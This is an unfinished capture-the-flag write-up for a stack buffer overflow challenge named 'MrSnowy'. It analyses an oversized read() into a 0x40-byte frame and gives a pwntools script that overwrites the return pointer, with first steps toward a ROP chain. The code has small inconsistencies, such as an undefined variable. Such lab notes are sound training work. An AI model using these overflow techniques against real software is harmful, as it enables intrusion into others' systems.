# MrSnowy
There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing.
But, this ☃️ snowman... it scares me.. He is always 👀 staring at Santa's house.
Something must be wrong with him.
## Flag
## Progress so far
![vulnerable function](images/investigate.png)
- The `read()` reads 0x108 bytes of input from stdin
- The buffer is uninitialized
- The functioncall sits at `*investigate+67`
- The Stackframe of the function only has a size of 0x40 bytes
- `checksec --file=mrsnowy` reports NX being enabled
- So no shellcode will be placable unless there is executable space
- This hints to ROP Chaining
- The binary should be patched to get rid of the timetaking animation
- Just `nop` the banner() function call using radare2
- Overwriting the returnpointer of `investigate()` using pwntools:
```python
context(arch='x86_64', os='linux')
context.terminal = ['/usr/bin/alacritty', '-e']
e = ELF("mr_snowy")
p = process(e.path)
# read banner and stuff until input is requested
def do_read():
while True:
ll = p.read()
print(ll)
if b'>' in ll:
break
# if not patched wait for the animation and send 1
do_read()
p.sendline('1')
do_read()
# write 0x48 bytes and overwrite the return pointer to the top of the stackframe
p.sendline(b'\xCC' * 0x48 + p64(0x7fffffffc000))
# start the python debugger to get a coredump which is loadable by gdb
ipdb.set_trace()
```
- Trying to find ROP Gadgets using pwntools
```python
e = ELF("mr_snowy")
rop = ROP(elf)
rop.rbx
rop.gadgets
```
